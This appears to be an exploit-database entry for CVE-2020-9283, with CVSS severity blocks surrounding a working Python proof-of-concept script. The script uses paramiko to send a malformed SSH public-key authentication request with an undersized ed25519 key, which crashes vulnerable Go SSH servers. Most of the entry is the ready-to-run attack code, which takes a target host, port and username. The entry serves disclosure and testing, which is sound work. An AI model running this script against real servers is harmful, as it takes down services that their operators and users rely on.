7.5 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
5 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:N/I:N/A:P
Go SSH servers 0.0.2 - Denial of Service (PoC)
# Exploit Title: Go SSH servers 0.0.2 - Denial of Service (PoC)
# Author: Mark Adams
# Date: 2020-02-21
# Link: https://github.com/mark-adams/exploits/blob/master/CVE-2020-9283/poc.py
# CVE: CVE-2020-9283
#
# Running this script may crash the remote SSH server if it is vulnerable.
# The GitHub repository contains a vulnerable and fixed SSH server for testing.
#
# $ python poc.py
# ./poc.py <host> <port> <user>
#
# $ python poc.py localhost 2022 root
# Malformed auth request sent. This should cause a panic on the remote server.
#
#!/usr/bin/env python
import socket
import sys
import paramiko
from paramiko.common import cMSG_SERVICE_REQUEST, cMSG_USERAUTH_REQUEST
if len(sys.argv) != 4:
print('./poc.py <host> <port> <user>')
sys.exit(1)
host = sys.argv[1]
port = int(sys.argv[2])
user = sys.argv[3]
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
t = paramiko.Transport(sock)
t.start_client()
t.lock.acquire()
m = paramiko.Message()
m.add_byte(cMSG_SERVICE_REQUEST)
m.add_string("ssh-userauth")
t._send_message(m)
m = paramiko.Message()
m.add_byte(cMSG_USERAUTH_REQUEST)
m.add_string(user)
m.add_string("ssh-connection")
m.add_string('publickey')
m.add_boolean(True)
m.add_string('ssh-ed25519')
# Send an SSH key that is too short (ed25519 keys are 32 bytes)
m.add_string(b'\x00\x00\x00\x0bssh-ed25519\x00\x00\x00\x15key-that-is-too-short')
# Send an empty signature (the server won't get far enough to validate it)
m.add_string(b'\x00\x00\x00\x0bssh-ed25519\x00\x00\x00\x00')
t._send_message(m)
print('Malformed auth request sent. This should cause a panic on the remote server.')
7.5 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
5 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:N/I:N/A:P